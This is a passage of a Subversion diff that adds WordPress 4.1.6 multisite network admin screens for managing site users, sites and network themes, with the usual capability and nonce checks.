+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+if ( ! current_user_can('manage_sites') )
+	wp_die(__('You do not have sufficient permissions to edit this site.'));
+
+$wp_list_table = _get_list_table('WP_Users_List_Table');
+$wp_list_table->prepare_items();
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' =>
+		'<p>' . __('The menu is for editing information specific to individual sites, particularly if the admin area of a site is unavailable.') . '</p>' .
+		'<p>' . __('<strong>Info</strong> - The domain and path are rarely edited as this can cause the site to not work properly. The Registered date and Last Updated date are displayed. Network admins can mark a site as archived, spam, deleted and mature, to remove from public listings or disable.') . '</p>' .
+		'<p>' . __('<strong>Users</strong> - This displays the users associated with this site. You can also change their role, reset their password, or remove them from the site. Removing the user from the site does not remove the user from the network.') . '</p>' .
+		'<p>' . sprintf( __('<strong>Themes</strong> - This area shows themes that are not already enabled across the network. Enabling a theme in this menu makes it accessible to this site. It does not activate the theme, but allows it to show in the site&#8217;s Appearance menu. To enable a theme for the entire network, see the <a href="%s">Network Themes</a> screen.' ), network_admin_url( 'themes.php' ) ) . '</p>' .
+		'<p>' . __('<strong>Settings</strong> - This page shows a list of all settings associated with this site. Some are created by WordPress and others are created by plugins you activate. Note that some fields are grayed out and say Serialized Data. You cannot modify these values due to the way the setting is stored in the database.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Network_Admin_Sites_Screen" target="_blank">Documentation on Site Management</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/forum/multisite/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+$_SERVER['REQUEST_URI'] = remove_query_arg( 'update', $_SERVER['REQUEST_URI'] );
+$referer = remove_query_arg( 'update', wp_get_referer() );
+
+if ( ! empty( $_REQUEST['paged'] ) ) {
+	$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
+}
+
+$id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
+
+if ( ! $id )
+	wp_die( __('Invalid site ID.') );
+
+$details = get_blog_details( $id );
+if ( ! can_edit_network( $details->site_id ) )
+	wp_die( __( 'You do not have permission to access this page.' ) );
+
+$is_main_site = is_main_site( $id );
+
+switch_to_blog( $id );
+
+$action = $wp_list_table->current_action();
+
+if ( $action ) {
+
+	switch ( $action ) {
+		case 'newuser':
+			check_admin_referer( 'add-user', '_wpnonce_add-new-user' );
+			$user = $_POST['user'];
+			if ( ! is_array( $_POST['user'] ) || empty( $user['username'] ) || empty( $user['email'] ) ) {
+				$update = 'err_new';
+			} else {
+				$password = wp_generate_password( 12, false);
+				$user_id = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, esc_html( $user['email'] ) );
+
+				if ( false == $user_id ) {
+		 			$update = 'err_new_dup';
+				} else {
+					wp_new_user_notification( $user_id, $password );
+					add_user_to_blog( $id, $user_id, $_POST['new_role'] );
+					$update = 'newuser';
+				}
+			}
+			break;
+
+		case 'adduser':
+			check_admin_referer( 'add-user', '_wpnonce_add-user' );
+			if ( !empty( $_POST['newuser'] ) ) {
+				$update = 'adduser';
+				$newuser = $_POST['newuser'];
+				$user = get_user_by( 'login', $newuser );
+				if ( $user && $user->exists() ) {
+					if ( ! is_user_member_of_blog( $user->ID, $id ) )
+						add_user_to_blog( $id, $user->ID, $_POST['new_role'] );
+					else
+						$update = 'err_add_member';
+				} else {
+					$update = 'err_add_notfound';
+				}
+			} else {
+				$update = 'err_add_notfound';
+			}
+			break;
+
+		case 'remove':
+			if ( ! current_user_can( 'remove_users' )  )
+				die(__('You can&#8217;t remove users.'));
+			check_admin_referer( 'bulk-users' );
+
+			$update = 'remove';
+			if ( isset( $_REQUEST['users'] ) ) {
+				$userids = $_REQUEST['users'];
+
+				foreach ( $userids as $user_id ) {
+					$user_id = (int) $user_id;
+					remove_user_from_blog( $user_id, $id );
+				}
+			} elseif ( isset( $_GET['user'] ) ) {
+				remove_user_from_blog( $_GET['user'] );
+			} else {
+				$update = 'err_remove';
+			}
+			break;
+
+		case 'promote':
+			check_admin_referer( 'bulk-users' );
+			$editable_roles = get_editable_roles();
+			if ( empty( $editable_roles[$_REQUEST['new_role']] ) )
+				wp_die(__('You can&#8217;t give users that role.'));
+
+			if ( isset( $_REQUEST['users'] ) ) {
+				$userids = $_REQUEST['users'];
+				$update = 'promote';
+				foreach ( $userids as $user_id ) {
+					$user_id = (int) $user_id;
+
+					// If the user doesn't already belong to the blog, bail.
+					if ( !is_user_member_of_blog( $user_id ) )
+						wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+					$user = get_userdata( $user_id );
+					$user->set_role( $_REQUEST['new_role'] );
+				}
+			} else {
+				$update = 'err_promote';
+			}
+			break;
+	}
+
+	wp_safe_redirect( add_query_arg( 'update', $update, $referer ) );
+	exit();
+}
+
+restore_current_blog();
+
+if ( isset( $_GET['action'] ) && 'update-site' == $_GET['action'] ) {
+	wp_safe_redirect( $referer );
+	exit();
+}
+
+add_screen_option( 'per_page', array( 'label' => _x( 'Users', 'users per page (screen options)' ) ) );
+
+$site_url_no_http = preg_replace( '#^http(s)?://#', '', get_blogaddress_by_id( $id ) );
+$title_site_url_linked = sprintf( __('Edit Site: <a href="%1$s">%2$s</a>'), get_blogaddress_by_id( $id ), $site_url_no_http );
+$title = sprintf( __('Edit Site: %s'), $site_url_no_http );
+
+$parent_file = 'sites.php';
+$submenu_file = 'sites.php';
+
+/**
+ * Filter whether to show the Add Existing User form on the Multisite Users screen.
+ *
+ * @since 3.1.0
+ *
+ * @param bool $bool Whether to show the Add Existing User form. Default true.
+ */
+if ( ! wp_is_large_network( 'users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) )
+	wp_enqueue_script( 'user-suggest' );
+
+require( ABSPATH . 'wp-admin/admin-header.php' ); ?>
+
+<script type="text/javascript">
+/* <![CDATA[ */
+var current_site_id = <?php echo $id; ?>;
+/* ]]> */
+</script>
+
+
+<div class="wrap">
+<h2 id="edit-site"><?php echo $title_site_url_linked ?></h2>
+<h3 class="nav-tab-wrapper">
+<?php
+$tabs = array(
+	'site-info'     => array( 'label' => __( 'Info' ),     'url' => 'site-info.php'     ),
+	'site-users'    => array( 'label' => __( 'Users' ),    'url' => 'site-users.php'    ),
+	'site-themes'   => array( 'label' => __( 'Themes' ),   'url' => 'site-themes.php'   ),
+	'site-settings' => array( 'label' => __( 'Settings' ), 'url' => 'site-settings.php' ),
+);
+foreach ( $tabs as $tab_id => $tab ) {
+	$class = ( $tab['url'] == $pagenow ) ? ' nav-tab-active' : '';
+	echo '<a href="' . $tab['url'] . '?id=' . $id .'" class="nav-tab' . $class . '">' . esc_html( $tab['label'] ) . '</a>';
+}
+?>
+</h3><?php
+
+if ( isset($_GET['update']) ) :
+	switch($_GET['update']) {
+	case 'adduser':
+		echo '<div id="message" class="updated"><p>' . __( 'User added.' ) . '</p></div>';
+		break;
+	case 'err_add_member':
+		echo '<div id="message" class="error"><p>' . __( 'User is already a member of this site.' ) . '</p></div>';
+		break;
+	case 'err_add_notfound':
+		echo '<div id="message" class="error"><p>' . __( 'Enter the username of an existing user.' ) . '</p></div>';
+		break;
+	case 'promote':
+		echo '<div id="message" class="updated"><p>' . __( 'Changed roles.' ) . '</p></div>';
+		break;
+	case 'err_promote':
+		echo '<div id="message" class="error"><p>' . __( 'Select a user to change role.' ) . '</p></div>';
+		break;
+	case 'remove':
+		echo '<div id="message" class="updated"><p>' . __( 'User removed from this site.' ) . '</p></div>';
+		break;
+	case 'err_remove':
+		echo '<div id="message" class="error"><p>' . __( 'Select a user to remove.' ) . '</p></div>';
+		break;
+	case 'newuser':
+		echo '<div id="message" class="updated"><p>' . __( 'User created.' ) . '</p></div>';
+		break;
+	case 'err_new':
+		echo '<div id="message" class="error"><p>' . __( 'Enter the username and email.' ) . '</p></div>';
+		break;
+	case 'err_new_dup':
+		echo '<div id="message" class="error"><p>' . __( 'Duplicated username or email address.' ) . '</p></div>';
+		break;
+	}
+endif; ?>
+
+<form class="search-form" action="" method="get">
+<?php $wp_list_table->search_box( __( 'Search Users' ), 'user' ); ?>
+<input type="hidden" name="id" value="<?php echo esc_attr( $id ) ?>" />
+</form>
+
+<?php $wp_list_table->views(); ?>
+
+<form method="post" action="site-users.php?action=update-site">
+	<input type="hidden" name="id" value="<?php echo esc_attr( $id ) ?>" />
+
+<?php $wp_list_table->display(); ?>
+
+</form>
+
+<?php
+/**
+ * Fires after the list table on the Users screen in the Multisite Network Admin.
+ *
+ * @since 3.1.0
+ */
+do_action( 'network_site_users_after_list_table' );
+
+/** This filter is documented in wp-admin/network/site-users.php */
+if ( current_user_can( 'promote_users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) : ?>
+<h3 id="add-existing-user"><?php _e( 'Add Existing User' ); ?></h3>
+<form action="site-users.php?action=adduser" id="adduser" method="post">
+	<input type="hidden" name="id" value="<?php echo esc_attr( $id ) ?>" />
+	<table class="form-table">
+		<tr>
+			<th scope="row"><?php _e( 'Username' ); ?></th>
+			<td><input type="text" class="regular-text wp-suggest-user" name="newuser" id="newuser" /></td>
+		</tr>
+		<tr>
+			<th scope="row"><?php _e( 'Role' ); ?></th>
+			<td><select name="new_role" id="new_role_0">
+			<?php wp_dropdown_roles( get_option( 'default_role' ) ); ?>
+			</select></td>
+		</tr>
+	</table>
+	<?php wp_nonce_field( 'add-user', '_wpnonce_add-user' ) ?>
+	<?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-existing-user' ) ); ?>
+</form>
+<?php endif; ?>
+
+<?php
+/**
+ * Filter whether to show the Add New User form on the Multisite Users screen.
+ *
+ * @since 3.1.0
+ *
+ * @param bool $bool Whether to show the Add New User form. Default true.
+ */
+if ( current_user_can( 'create_users' ) && apply_filters( 'show_network_site_users_add_new_form', true ) ) : ?>
+<h3 id="add-new-user"><?php _e( 'Add New User' ); ?></h3>
+<form action="<?php echo network_admin_url('site-users.php?action=newuser'); ?>" id="newuser" method="post">
+	<input type="hidden" name="id" value="<?php echo esc_attr( $id ) ?>" />
+	<table class="form-table">
+		<tr>
+			<th scope="row"><?php _e( 'Username' ) ?></th>
+			<td><input type="text" class="regular-text" name="user[username]" /></td>
+		</tr>
+		<tr>
+			<th scope="row"><?php _e( 'Email' ) ?></th>
+			<td><input type="text" class="regular-text" name="user[email]" /></td>
+		</tr>
+		<tr>
+			<th scope="row"><?php _e( 'Role' ); ?></th>
+			<td><select name="new_role" id="new_role_0">
+			<?php wp_dropdown_roles( get_option( 'default_role' ) ); ?>
+			</select></td>
+		</tr>
+		<tr class="form-field">
+			<td colspan="2"><?php _e( 'Username and password will be mailed to the above email address.' ) ?></td>
+		</tr>
+	</table>
+	<?php wp_nonce_field( 'add-user', '_wpnonce_add-new-user' ) ?>
+	<?php submit_button( __( 'Add New User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-user' ) ); ?>
+</form>
+<?php endif; ?>
+</div>
+<?php
+require( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/network/sites.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/sites.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/sites.php	(revision 33402)
@@ -0,0 +1,275 @@
+<?php
+/**
+ * Multisite sites administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+if ( ! current_user_can( 'manage_sites' ) )
+	wp_die( __( 'You do not have permission to access this page.' ) );
+
+$wp_list_table = _get_list_table( 'WP_MS_Sites_List_Table' );
+$pagenum = $wp_list_table->get_pagenum();
+
+$title = __( 'Sites' );
+$parent_file = 'sites.php';
+
+add_screen_option( 'per_page', array( 'label' => _x( 'Sites', 'sites per page (screen options)' ) ) );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' =>
+		'<p>' . __('Add New takes you to the Add New Site screen. You can search for a site by Name, ID number, or IP address. Screen Options allows you to choose how many sites to display on one page.') . '</p>' .
+		'<p>' . __('This is the main table of all sites on this network. Switch between list and excerpt views by using the icons above the right side of the table.') . '</p>' .
+		'<p>' . __('Hovering over each site reveals seven options (three for the primary site):') . '</p>' .
+		'<ul><li>' . __('An Edit link to a separate Edit Site screen.') . '</li>' .
+		'<li>' . __('Dashboard leads to the Dashboard for that site.') . '</li>' .
+		'<li>' . __('Deactivate, Archive, and Spam which lead to confirmation screens. These actions can be reversed later.') . '</li>' .
+		'<li>' . __('Delete which is a permanent action after the confirmation screens.') . '</li>' .
+		'<li>' . __('Visit to go to the frontend site live.') . '</li></ul>' .
+		'<p>' . __('The site ID is used internally, and is not shown on the front end of the site or to users/viewers.') . '</p>' .
+		'<p>' . __('Clicking on bold headings can re-sort this table.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Network_Admin_Sites_Screen" target="_blank">Documentation on Site Management</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/forum/multisite/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+$id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
+
+if ( isset( $_GET['action'] ) ) {
+	/** This action is documented in wp-admin/network/edit.php */
+	do_action( 'wpmuadminedit' );
+
+	if ( 'confirm' === $_GET['action'] ) {
+		check_admin_referer( 'confirm' );
+
+		if ( ! headers_sent() ) {
+			nocache_headers();
+			header( 'Content-Type: text/html; charset=utf-8' );
+		}
+
+		if ( $current_site->blog_id == $id ) {
+			wp_die( __( 'You are not allowed to change the current site.' ) );
+		}
+
+		require_once( ABSPATH . 'wp-admin/admin-header.php' );
+		?>
+			<div class="wrap">
+				<h2><?php _e( 'Confirm your action' ); ?></h2>
+				<form action="sites.php?action=<?php echo esc_attr( $_GET['action2'] ) ?>" method="post">
+					<input type="hidden" name="action" value="<?php echo esc_attr( $_GET['action2'] ) ?>" />
+					<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
+					<input type="hidden" name="_wp_http_referer" value="<?php echo esc_attr( wp_get_referer() ); ?>" />
+					<?php wp_nonce_field( $_GET['action2'], '_wpnonce', false ); ?>
+					<p><?php echo esc_html( wp_unslash( $_GET['msg'] ) ); ?></p>
+					<?php submit_button( __( 'Confirm' ), 'button' ); ?>
+				</form>
+			</div>
+		<?php
+		require_once( ABSPATH . 'wp-admin/admin-footer.php' );
+		exit();
+	}
+
+	$updated_action = '';
+
+	$manage_actions = array( 'deleteblog', 'allblogs', 'archiveblog', 'unarchiveblog', 'activateblog', 'deactivateblog', 'unspamblog', 'spamblog', 'unmatureblog', 'matureblog' );
+	if ( in_array( $_GET['action'], $manage_actions ) ) {
+		$action = $_GET['action'];
+		if ( 'allblogs' === $action )
+			$action = 'bulk-sites';
+
+		check_admin_referer( $action );
+	}
+
+	switch ( $_GET['action'] ) {
+
+		case 'deleteblog':
+			if ( ! current_user_can( 'delete_sites' ) )
+				wp_die( __( 'You do not have permission to access this page.' ) );
+
+			$updated_action = 'not_deleted';
+			if ( $id != '0' && $id != $current_site->blog_id && current_user_can( 'delete_site', $id ) ) {
+				wpmu_delete_blog( $id, true );
+				$updated_action = 'delete';
+			}
+		break;
+
+		case 'allblogs':
+			if ( ( isset( $_POST['action'] ) || isset( $_POST['action2'] ) ) && isset( $_POST['allblogs'] ) ) {
+				$doaction = $_POST['action'] != -1 ? $_POST['action'] : $_POST['action2'];
+
+				foreach ( (array) $_POST['allblogs'] as $key => $val ) {
+					if ( $val != '0' && $val != $current_site->blog_id ) {
+						switch ( $doaction ) {
+							case 'delete':
+								if ( ! current_user_can( 'delete_site', $val ) )
+									wp_die( __( 'You are not allowed to delete the site.' ) );
+
+								$updated_action = 'all_delete';
+								wpmu_delete_blog( $val, true );
+							break;
+
+							case 'spam':
+							case 'notspam':
+								$updated_action = ( 'spam' === $doaction ) ? 'all_spam' : 'all_notspam';
+								update_blog_status( $val, 'spam', ( 'spam' === $doaction ) ? '1' : '0' );
+							break;
+						}
+					} else {
+						wp_die( __( 'You are not allowed to change the current site.' ) );
+					}
+				}
+			} else {
+				wp_redirect( network_admin_url( 'sites.php' ) );
+				exit();
+			}
+		break;
+
+		case 'archiveblog':
+		case 'unarchiveblog':
+			update_blog_status( $id, 'archived', ( 'archiveblog' === $_GET['action'] ) ? '1' : '0' );
+		break;
+
+		case 'activateblog':
+			update_blog_status( $id, 'deleted', '0' );
+
+			/**
+			 * Fires after a network site is activated.
+			 *
+			 * @since MU
+			 *
+			 * @param string $id The ID of the activated site.
+			 */
+			do_action( 'activate_blog', $id );
+		break;
+
+		case 'deactivateblog':
+			/**
+			 * Fires before a network site is deactivated.
+			 *
+			 * @since MU
+			 *
+			 * @param string $id The ID of the site being deactivated.
+			 */
+			do_action( 'deactivate_blog', $id );
+			update_blog_status( $id, 'deleted', '1' );
+		break;
+
+		case 'unspamblog':
+		case 'spamblog':
+			update_blog_status( $id, 'spam', ( 'spamblog' === $_GET['action'] ) ? '1' : '0' );
+		break;
+
+		case 'unmatureblog':
+		case 'matureblog':
+			update_blog_status( $id, 'mature', ( 'matureblog' === $_GET['action'] ) ? '1' : '0' );
+		break;
+	}
+
+	if ( empty( $updated_action ) && in_array( $_GET['action'], $manage_actions ) )
+		$updated_action = $_GET['action'];
+
+	if ( ! empty( $updated_action ) ) {
+		wp_safe_redirect( add_query_arg( array( 'updated' => $updated_action ), wp_get_referer() ) );
+		exit();
+	}
+}
+
+$msg = '';
+if ( isset( $_GET['updated'] ) ) {
+	switch ( $_GET['updated'] ) {
+		case 'all_notspam':
+			$msg = __( 'Sites removed from spam.' );
+		break;
+		case 'all_spam':
+			$msg = __( 'Sites marked as spam.' );
+		break;
+		case 'all_delete':
+			$msg = __( 'Sites deleted.' );
+		break;
+		case 'delete':
+			$msg = __( 'Site deleted.' );
+		break;
+		case 'not_deleted':
+			$msg = __( 'You do not have permission to delete that site.' );
+		break;
+		case 'archiveblog':
+			$msg = __( 'Site archived.' );
+		break;
+		case 'unarchiveblog':
+			$msg = __( 'Site unarchived.' );
+		break;
+		case 'activateblog':
+			$msg = __( 'Site activated.' );
+		break;
+		case 'deactivateblog':
+			$msg = __( 'Site deactivated.' );
+		break;
+		case 'unspamblog':
+			$msg = __( 'Site removed from spam.' );
+		break;
+		case 'spamblog':
+			$msg = __( 'Site marked as spam.' );
+		break;
+		default:
+			/**
+			 * Filter a specific, non-default site-updated message in the Network admin.
+			 *
+			 * The dynamic portion of the hook name, `$_GET['updated']`, refers to the
+			 * non-default site update action.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param string $msg The update message. Default 'Settings saved'.
+			 */
+			$msg = apply_filters( 'network_sites_updated_message_' . $_GET['updated'], __( 'Settings saved.' ) );
+		break;
+	}
+
+	if ( ! empty( $msg ) )
+		$msg = '<div class="updated" id="message"><p>' . $msg . '</p></div>';
+}
+
+$wp_list_table->prepare_items();
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+<h2><?php _e( 'Sites' ) ?>
+
+<?php if ( current_user_can( 'create_sites') ) : ?>
+	<a href="<?php echo network_admin_url('site-new.php'); ?>" class="add-new-h2"><?php echo esc_html_x( 'Add New', 'site' ); ?></a>
+<?php endif; ?>
+
+<?php if ( isset( $_REQUEST['s'] ) && $_REQUEST['s'] ) {
+	printf( '<span class="subtitle">' . __( 'Search results for &#8220;%s&#8221;' ) . '</span>', esc_html( $s ) );
+} ?>
+</h2>
+
+<?php echo $msg; ?>
+
+<form action="" method="get" id="ms-search">
+<?php $wp_list_table->search_box( __( 'Search Sites' ), 'site' ); ?>
+<input type="hidden" name="action" value="blogs" />
+</form>
+
+<form id="form-site-list" action="sites.php?action=allblogs" method="post">
+	<?php $wp_list_table->display(); ?>
+</form>
+</div>
+<?php
+
+require_once( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/4.1.6/src/wp-admin/network/theme-editor.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/theme-editor.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/theme-editor.php	(revision 33402)
@@ -0,0 +1,16 @@
+<?php
+/**
+ * Theme editor network administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+require( ABSPATH . 'wp-admin/theme-editor.php' );
Index: /tags/4.1.6/src/wp-admin/network/theme-install.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/theme-install.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/theme-install.php	(revision 33402)
@@ -0,0 +1,19 @@
+<?php
+/**
+ * Install theme network administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+if ( isset( $_GET['tab'] ) && ( 'theme-information' == $_GET['tab'] ) )
+	define( 'IFRAME_REQUEST', true );
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+require( ABSPATH . 'wp-admin/theme-install.php' );
Index: /tags/4.1.6/src/wp-admin/network/themes.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/themes.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/themes.php	(revision 33402)
@@ -0,0 +1,291 @@
+<?php
+/**
+ * Multisite themes administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+if ( !current_user_can('manage_network_themes') )
+	wp_die( __( 'You do not have sufficient permissions to manage network themes.' ) );
+
+$wp_list_table = _get_list_table('WP_MS_Themes_List_Table');
+$pagenum = $wp_list_table->get_pagenum();
+
+$action = $wp_list_table->current_action();
+
+$s = isset($_REQUEST['s']) ? $_REQUEST['s'] : '';
+
+// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
+$temp_args = array( 'enabled', 'disabled', 'deleted', 'error' );
+$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
+$referer = remove_query_arg( $temp_args, wp_get_referer() );
+
+if ( $action ) {
+	$allowed_themes = get_site_option( 'allowedthemes' );
+	switch ( $action ) {
+		case 'enable':
+			check_admin_referer('enable-theme_' . $_GET['theme']);
+			$allowed_themes[ $_GET['theme'] ] = true;
+			update_site_option( 'allowedthemes', $allowed_themes );
+			if ( false === strpos( $referer, '/network/themes.php' ) )
+				wp_redirect( network_admin_url( 'themes.php?enabled=1' ) );
+			else
+				wp_safe_redirect( add_query_arg( 'enabled', 1, $referer ) );
+			exit;
+		case 'disable':
+			check_admin_referer('disable-theme_' . $_GET['theme']);
+			unset( $allowed_themes[ $_GET['theme'] ] );
+			update_site_option( 'allowedthemes', $allowed_themes );
+			wp_safe_redirect( add_query_arg( 'disabled', '1', $referer ) );
+			exit;
+		case 'enable-selected':
+			check_admin_referer('bulk-themes');
+			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
+			if ( empty($themes) ) {
+				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
+				exit;
+			}
+			foreach( (array) $themes as $theme )
+				$allowed_themes[ $theme ] = true;
+			update_site_option( 'allowedthemes', $allowed_themes );
+			wp_safe_redirect( add_query_arg( 'enabled', count( $themes ), $referer ) );
+			exit;
+		case 'disable-selected':
+			check_admin_referer('bulk-themes');
+			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
+			if ( empty($themes) ) {
+				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
+				exit;
+			}
+			foreach( (array) $themes as $theme )
+				unset( $allowed_themes[ $theme ] );
+			update_site_option( 'allowedthemes', $allowed_themes );
+			wp_safe_redirect( add_query_arg( 'disabled', count( $themes ), $referer ) );
+			exit;
+		case 'update-selected' :
+			check_admin_referer( 'bulk-themes' );
+
+			if ( isset( $_GET['themes'] ) )
+				$themes = explode( ',', $_GET['themes'] );
+			elseif ( isset( $_POST['checked'] ) )
+				$themes = (array) $_POST['checked'];
+			else
+				$themes = array();
+
+			$title = __( 'Update Themes' );
+			$parent_file = 'themes.php';
+
+			require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+			echo '<div class="wrap">';
+			echo '<h2>' . esc_html( $title ) . '</h2>';
+
+			$url = self_admin_url('update.php?action=update-selected-themes&amp;themes=' . urlencode( join(',', $themes) ));
+			$url = wp_nonce_url($url, 'bulk-update-themes');
+
+			echo "<iframe src='$url' style='width: 100%; height:100%; min-height:850px;'></iframe>";
+			echo '</div>';
+			require_once(ABSPATH . 'wp-admin/admin-footer.php');
+			exit;
+		case 'delete-selected':
+			if ( ! current_user_can( 'delete_themes' ) ) {
+				wp_die( __('You do not have sufficient permissions to delete themes for this site.') );
+			}
+
+			check_admin_referer( 'bulk-themes' );
+
+			$themes = isset( $_REQUEST['checked'] ) ? (array) $_REQUEST['checked'] : array();
+
+			if ( empty( $themes ) ) {
+				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
+				exit;
+			}
+
+			$themes = array_diff( $themes, array( get_option( 'stylesheet' ), get_option( 'template' ) ) );
+
+			if ( empty( $themes ) ) {
+				wp_safe_redirect( add_query_arg( 'error', 'main', $referer ) );
+				exit;
+			}
+
+			$files_to_delete = $theme_info = array();
+			$theme_translations = wp_get_installed_translations( 'themes' );
+			foreach ( $themes as $key => $theme ) {
+				$theme_info[ $theme ] = wp_get_theme( $theme );
+
+				// Locate all the files in that folder.
+				$files = list_files( $theme_info[ $theme ]->get_stylesheet_directory() );
+				if ( $files ) {
+					$files_to_delete = array_merge( $files_to_delete, $files );
+				}
+
+				// Add translation files.
+				$theme_slug = $theme_info[ $theme ]->get_stylesheet();
+				if ( ! empty( $theme_translations[ $theme_slug ] ) ) {
+					$translations = $theme_translations[ $theme_slug ];
+
+					foreach ( $translations as $translation => $data ) {
+						$files_to_delete[] = $theme_slug . '-' . $translation . '.po';
+						$files_to_delete[] = $theme_slug . '-' . $translation . '.mo';
+					}
+				}
+			}
+
+			include(ABSPATH . 'wp-admin/update.php');
+
+			$parent_file = 'themes.php';
+
+			if ( ! isset( $_REQUEST['verify-delete'] ) ) {
+				wp_enqueue_script( 'jquery' );
+				require_once( ABSPATH . 'wp-admin/admin-header.php' );
+				?>
+			<div class="wrap">
+				<?php
+					$themes_to_delete = count( $themes );
+					echo '<h2>' . _n( 'Delete Theme', 'Delete Themes', $themes_to_delete ) . '</h2>';
+				?>
+				<div class="error"><p><strong><?php _e( 'Caution:' ); ?></strong> <?php echo _n( 'This theme may be active on other sites in the network.', 'These themes may be active on other sites in the network.', $themes_to_delete ); ?></p></div>
+				<p><?php echo _n( 'You are about to remove the following theme:', 'You are about to remove the following themes:', $themes_to_delete ); ?></p>
+					<ul class="ul-disc">
+					<?php
+						foreach ( $theme_info as $theme ) {
+							/* translators: 1: theme name, 2: theme author */
+							echo '<li>', sprintf( __('<strong>%1$s</strong> by <em>%2$s</em>' ), $theme->display('Name'), $theme->display('Author') ), '</li>';
+						}
+					?>
+					</ul>
+				<p><?php _e('Are you sure you wish to delete these themes?'); ?></p>
+				<form method="post" action="<?php echo esc_url($_SERVER['REQUEST_URI']); ?>" style="display:inline;">
+					<input type="hidden" name="verify-delete" value="1" />
+					<input type="hidden" name="action" value="delete-selected" />
+					<?php
+						foreach ( (array) $themes as $theme ) {
+							echo '<input type="hidden" name="checked[]" value="' . esc_attr($theme) . '" />';
+						}
+					?>
+					<?php wp_nonce_field('bulk-themes') ?>
+					<?php submit_button( _n( 'Yes, Delete this theme', 'Yes, Delete these themes', $themes_to_delete ), 'button', 'submit', false ); ?>
+				</form>
+				<form method="post" action="<?php echo esc_url(wp_get_referer()); ?>" style="display:inline;">
+					<?php submit_button( __( 'No, Return me to the theme list' ), 'button', 'submit', false ); ?>
+				</form>
+
+				<p><a href="#" onclick="jQuery('#files-list').toggle(); return false;"><?php _e('Click to view entire list of files which will be deleted'); ?></a></p>
+				<div id="files-list" style="display:none;">
+					<ul class="code">
+					<?php
+						foreach ( (array) $files_to_delete as $file ) {
+							echo '<li>' . esc_html( str_replace( WP_CONTENT_DIR . '/themes', '', $file ) ) . '</li>';
+						}
+					?>
+					</ul>
+				</div>
+			</div>
+				<?php
+				require_once(ABSPATH . 'wp-admin/admin-footer.php');
+				exit;
+			} // Endif verify-delete
+
+			foreach ( $themes as $theme ) {
+				$delete_result = delete_theme( $theme, esc_url( add_query_arg( array(
+					'verify-delete' => 1,
+					'action' => 'delete-selected',
+					'checked' => $_REQUEST['checked'],
+					'_wpnonce' => $_REQUEST['_wpnonce']
+				), network_admin_url( 'themes.php' ) ) ) );
+			}
+
+			$paged = ( $_REQUEST['paged'] ) ? $_REQUEST['paged'] : 1;
+			wp_redirect( add_query_arg( array(
+				'deleted' => count( $themes ),
+				'paged' => $paged,
+				's' => $s
+			), network_admin_url( 'themes.php' ) ) );
+			exit;
+	}
